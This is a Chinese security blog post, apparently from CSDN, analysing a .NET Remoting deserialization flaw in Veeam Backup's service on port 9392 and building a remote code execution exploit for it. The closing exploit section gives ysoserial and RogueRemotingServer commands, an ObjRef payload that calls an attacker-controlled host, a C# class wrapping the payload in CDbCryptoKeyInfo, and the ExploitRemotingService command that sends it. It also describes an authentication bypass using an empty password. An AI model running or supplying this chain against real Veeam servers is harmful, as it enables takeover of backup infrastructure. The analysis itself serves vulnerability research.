代码逻辑分析

Remoting代码逻辑分析
按照之前的思路:

注册的Channel类型(全局搜ChannelServices#RegisterChannelInternal)
sinkProviderChains
TypeFilterLevel
注册的objecturi(全局搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal)
处理消息逻辑(IServerChannelSink#ProcessMessage的实现)
首先定位到Veeam.Common.Remoting.dll文件发现有TransportSink和FormatterSink相关的类,但是并没有自定义的ServerChannel,搜索ChannelServices#RegisterChannelInternal的调用找到注册ServerChannel的地方:在这里插入图片描述
挨个看过去只有CSrvTcpChannelRegistration类注册了一个tcpServerChannel,具体调用代码如下:

private static TcpServerChannel RegisterChannel(Dictionary<string, string> channelProperties, IServerChannelSinkProvider sinkProvider, CConnectionInterceptor connectionInterceptor)
{
TcpServerChannel tcpServerChannel = new TcpServerChannel(channelProperties, sinkProvider, connectionInterceptor);
// 开启认证
tcpServerChannel.IsSecured = true;
ChannelServices.RegisterChannel(tcpServerChannel, true);
CSrvTcpChannelRegistration.LogChannelData(tcpServerChannel);
return tcpServerChannel;
}
注意这里TcpServerChannel传入的有第三个参数CConnectionInterceptor,这里放到后面再说,我们先梳理sinkProviderChains。
继续查找调用寻找sinkProvider定义的地方:

//其构造函数
private CSrvTcpChannelRegistration(string commonChannelName, int port, IReadOnlyDictionary<string, string> channelProperties, bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
this._commonChannelName = commonChannelName;
this._port = port;
//调用GetSinkProvider方法
IServerChannelSinkProvider sinkProvider = CSrvTcpChannelRegistration.GetSinkProvider(enableRemotingPerfLog, requireBasicPermission, monitor, impersonation, accessCheckerProvider, mfaProvider);
CConnectionInterceptor cconnectionInterceptor = new CConnectionInterceptor();
if (Socket.OSSupportsIPv4)
{
TcpServerChannel tcpServerChannel = CSrvTcpChannelRegistration.RegisterChannel(CSrvTcpChannelRegistration.CreateIPv4BindingConfiguration(commonChannelName, channelProperties), sinkProvider, cconnectionInterceptor);
this._channelIPv4Name = tcpServerChannel.ChannelName;
}

}
跟进GetSinkProvider方法

private static IServerChannelSinkProvider GetSinkProvider(bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
{
IServerChannelSinkProvider serverChannelSinkProvider = new CBinaryServerFormatterSinkProvider(enableRemotingPerfLog, requireBasicPermission, accessCheckerProvider, mfaProvider);
if (monitor != null)
{
serverChannelSinkProvider = new CActivityMonitorServerSinkProvider(monitor, serverChannelSinkProvider);
}
if (impersonation != null)
{
serverChannelSinkProvider = new CImpersonationServerSinkProvider(impersonation, serverChannelSinkProvider);
}
return serverChannelSinkProvider;
}
这里使用的是CBinaryServerFormatterSink作为FormatterSink,TransportSink使用的默认TcpServerTransportSink,整个服务端的sinkProviderChains:TcpServerTransportSink → CBinaryServerFormatterSink → DispatchChannelSink
同时CBinaryServerFormatterSink中定义了TypeFilterLevel.Low

追溯到启动类发现监听的端口为9392,服务名为Veeam.Backup.Service.exe(tcp://IP:9392/VeeamClientUpdateService )。

最后找到对应的ProcessMessage方法梳理处理消息的逻辑,主要代码如下:

public ServerProcessing ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, out IMessage responseMsg, out ITransportHeaders responseHeaders, out Stream responseStream)
{
ServerProcessing serverProcessing;
using (LogRegistration.RegisterSafe(this._logStorage))
{

string text = (string)requestHeaders[“Content-Type”];
string text2 = (string)requestHeaders[“__RequestVerb”];

//部分省略
requestMsg = CBinaryServerFormatterSink.DeserializeBinaryRequestMessage(requestStream, requestHeaders);
if (requestMsg == null)
{
throw new RemotingException(“Remoting Deserialize Error”);
}
IMethodMessage methodMessage = requestMsg as IMethodMessage;
if (methodMessage != null)
{
string text3 = requestHeaders[“access_token”] as string;
Dictionary<string, object> dictionary;
EJwtValidationResult ejwtValidationResult = this._mfaProvider.ValidateToken(text3, out dictionary);
if (ejwtValidationResult == EJwtValidationResult.Empty || ejwtValidationResult == EJwtValidationResult.Invalid)
{
this.EnsureMfa(requestHeaders);
}
this.EnsureAccessIsAllowed(methodMessage);
}
sinkStack.Push(this, null);
ServerProcessing serverProcessing2 = this.CallNextSink(sinkStack, requestMsg, requestHeaders, null, out responseMsg, out responseHeaders, out responseStream);
if (responseStream != null)
{
throw new RemotingException(“Remoting_ChnlSink_WantNullResponseStream”);
}
switch (serverProcessing2)
{
case ServerProcessing.Complete:
if (responseMsg == null)
{
throw new RemotingException(“Remoting_DispatchMessage”);
}
sinkStack.Pop(this);
this.AddSessionToken(requestHeaders, ref responseHeaders);
CBinaryServerFormatterSink.SerializeResponse(sinkStack, responseMsg, ref responseHeaders, out responseStream);
this.AdditionalyLogResponse(responseMsg);

}
}
}
return serverProcessing;
}
调用DeserializeBinaryRequestMessage方法执行反序列化的操作,也是整个过程中最关键的,实现如下

//Veeam.Common.Remoting.CBinaryServerFormatterSink#DeserializeBinaryRequestMessage
private static IMessage DeserializeBinaryRequestMessage(Stream requestStream, ITransportHeaders requestHeaders)
{
IMessage message;
try
{
message = (IMessage)CBinaryServerFormatterSink.CreateFormatter(false).DeserializeMethodResponse(requestStream, new HeaderHandler(new CBinaryServerFormatterSink.UriHeaderHandler(requestHeaders).HeaderHandler), null);
}
finally
{
requestStream.Close();
}
return message;
}

//Veeam.Common.Remoting.CBinaryServerFormatterSink#CreateFormatter
private static BinaryFormatter CreateFormatter(bool serializingResponse)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Binder = new RestrictedSerializationBinder(serializingResponse, RestrictedSerializationBinder.Modes.FilterByWhitelist);
binaryFormatter.Context = new StreamingContext(StreamingContextStates.Other);
binaryFormatter.FilterLevel = TypeFilterLevel.Low;
binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Full;
if (!serializingResponse)
{
binaryFormatter.SurrogateSelector = new CDataSerializationSurogate();
}
else
{
ISurrogateSelector surrogateSelector = new RemotingSurrogateSelector();
surrogateSelector.ChainSelector(new CDataSerializationSurogate());
binaryFormatter.SurrogateSelector = surrogateSelector;
}
return binaryFormatter;
}
这儿有两点需要注意:

定义了RestrictedSerializationBinder设置反序列化白名单或黑名单
定义了CDataSerializationSurogate作为formatter的序列化或反序列化处理
首先看RestrictedSerializationBinder是如何防御的,关注ResolveType方法和BindToType方法,如果仅仅使用CustomSerializationBinder是可以绕的,数据流:CustomSerializationBinder#BindToType–>RestrictedSerializationBinder#ResolveType–>RestrictedSerializationBinder#EnsureTypeIsAllowed关键代码如下:

// Veeam.Backup.Common.CustomSerializationBinder
public class CustomSerializationBinder : SerializationBinder
{
public override Type BindToType(string assemblyName, string typeName)
{
return CustomSerializationBinder.TypeCache.GetOrAdd(new ValueTuple<string, string>(assemblyName, typeName), new Func<ValueTuple<string, string>, Type>(this.ResolveType));
}

    protected virtual Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
    {
        return SBinderHelper.ResolveType(key);
    }

// Veeam.Backup.Common.RestrictedSerializationBinder
public sealed class RestrictedSerializationBinder : CustomSerializationBinder
{
public RestrictedSerializationBinder(bool serializingResponse, RestrictedSerializationBinder.Modes mode = RestrictedSerializationBinder.Modes.FilterByWhitelist)
{
this._serializingResponse = serializingResponse;
this._mode = mode;
}

protected override Type ResolveType([TupleElementNames(new string[] { “assemblyName”, “typeName” })] ValueTuple<string, string> key)
{
this.EnsureTypeIsAllowed(key);
Type type = base.ResolveType(key);
RestrictedSerializationBinder.CheckIsRestrictedType(type);
return type;
}

    private void EnsureTypeIsAllowed([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
    {
        if (!this._serializingResponse && SOptions.Instance.ShouldWhitelistingRemoting)
        {
            this.EnsuredBlackWhitelistsAreLoaded();
            string text = key.Item2 + ", " + key.Item1;
            if (this._mode == RestrictedSerializationBinder.Modes.FilterByWhitelist)
            {
                RestrictedSerializationBinder._allowedTypeFullnames.EnsureIsAllowed(text);
                return;
            }
            if (this._mode == RestrictedSerializationBinder.Modes.FilterByBlacklist)
            {
                RestrictedSerializationBinder._notAllowedTypeFullnames.EnsureIsAllowed(text);
            }
        }
    }

RestrictedSerializationBinder根据传入的mode参数决定使用白名单或黑名单模式,整个Remoting处理用的是白名单模式,这儿并不是先白名单后黑名单校验,而是二选一于是有了可乘之机。

漏洞分析
一共五处调用最终找到一处调用使用的是黑名单模式
在这里插入图片描述
代码如下:

// Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize
public static T Deserialize(string input)
{
T t;
try
{
byte[] array = Convert.FromBase64String(input);
BinaryFormatter binaryFormatter = new BinaryFormatter
{
Binder = new RestrictedSerializationBinder(false, RestrictedSerializationBinder.Modes.FilterByBlacklist)
};
t = CProxyBinaryFormatter.BinaryDeserializeObject(array, binaryFormatter);
}
妥妥的反序列化,老外通过对比补丁新增了一个ObjRef的链,该链子在反序列化的过程中只会反序列化System.Runtime.Remoting.ObjRef和System.Exception,执行命令时不会触发其他黑名单。

可以将Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize作为一个跳板,找到一处调用该方法并处于白名单中的类,就能实现RCE。刚好最后老外从白名单找到一个调用该方法的类

// Veeam.Backup.Model.CDbCryptoKeyInfo
private readonly List _repairRecs = new List();
protected CDbCryptoKeyInfo(SerializationInfo info, StreamingContext context)
{
this.Id = (Guid)info.GetValue(“Id”, typeof(Guid));
byte[] array = (byte[])info.GetValue(“KeySetId”, typeof(byte[]));
this.KeySetId = new CKeySetId(array);
this.KeyType = (EDbCryptoKeyType)((int)info.GetValue(“KeyType”, typeof(int)));
this.EncryptedKeyValue = Convert.FromBase64String(info.GetString(“DecryptedKeyValue”));
this.Hint = info.GetString(“Hint”);
this.ModificationDateUtc = info.GetDateTime(“ModificationDateUtc”).SpecifyDateTimeUtc();
this.CryptoAlg = (ECryptoAlg)info.GetInt32(“CryptoAlg”);
this._repairRecs = CProxyBinaryFormatter.Deserialize((string[])info.GetValue(“RepairRecs”, typeof(string[]))).ToList();
this.Version = info.GetInt64(“Version”);
this.BackupId = (Guid)info.GetValue(“BackupId”, typeof(Guid));
this.IsImported = info.GetBoolean(“IsImported”);
}
总结下:

无需自定义Channel(TcpServerChannel)
开启了认证(CConnectionInterceptor)、low type filter
存在一个URI为tcp://IP:9392/VeeamClientUpdateService
整个利用链.Net Remoting --> CDbCryptoKeyInfo( 白名单 ) --> CProxyBinaryFormatter.Deserialize ( 黑名单objref )–> RCE
EXP构造
需要用到ExploitRemotingService,有点小改动我编译之后放到这儿了。这儿的改动其实就是绕过其认证的,将用户密码置空就能绕过,CConnectionInterceptor类实际上未处理只是返回true。在这里插入图片描述
然后构造ObjRef

ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c calc > exploit.soapformatter

RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0:2345/aaa exploit.soapformatter

ysoserial.exe -g ObjRef -f BinaryFormatter -c http://10.106.24.105:2345/aaa

// 最终生成AAEAAAD/////AQAAAAAAAAAEAQAAABBTeXN0ZW0uRXhjZXB0aW9uAQAAAAlDbGFzc05hbWUDHlN5c3RlbS5SdW50aW1lLlJlbW90aW5nLk9ialJlZgkCAAAABAIAAAAeU3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuT2JqUmVmAQAAAAN1cmwBBgMAAAAdaHR0cDovLzEwLjEwNi4yNC4xMDU6MjM0NS9hYWEL
重定义CDbCryptoKeyInfo序列化过程,传入上面生成的poc序列化:

[Serializable]
public class CDbCryptoKeyInfoWrapper : ISerializable
{
private string[] _fakeList;

public CDbCryptoKeyInfoWrapper(string[] _fakeList)  
{  
    this._fakeList = _fakeList;  
}  

public void GetObjectData(SerializationInfo info, StreamingContext context)  
{  
    info.SetType(typeof(CDbCryptoKeyInfo));  
    info.AddValue("Id", Guid.NewGuid());  
    info.AddValue("KeySetId", null);  
    info.AddValue("KeyType", 1);  
    info.AddValue("Hint", "aaaaa");  
    info.AddValue("DecryptedKeyValue", "AAAA");  
    info.AddValue("LocaleLCID", 0x409);  
    info.AddValue("ModificationDateUtc", new DateTime());  
    info.AddValue("CryptoAlg", 1);  
    info.AddValue("RepairRecs", _fakeList);  
}  

}
传入生成的CDbCryptoKeyInfo序列化数据,再通过ExploitRemotingService发送POC

ExploitRemotingService.exe -s tcp://192.168.45.144:9392/VeeamClientUpdateService raw AAEAAAD/////AQAAAAAAA
在这里插入图片描述
总结
当TypeFilterLevel.Low时,可以尝试反序列化其他符合条件的对象进而触发一些恶意方法实现RCE。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值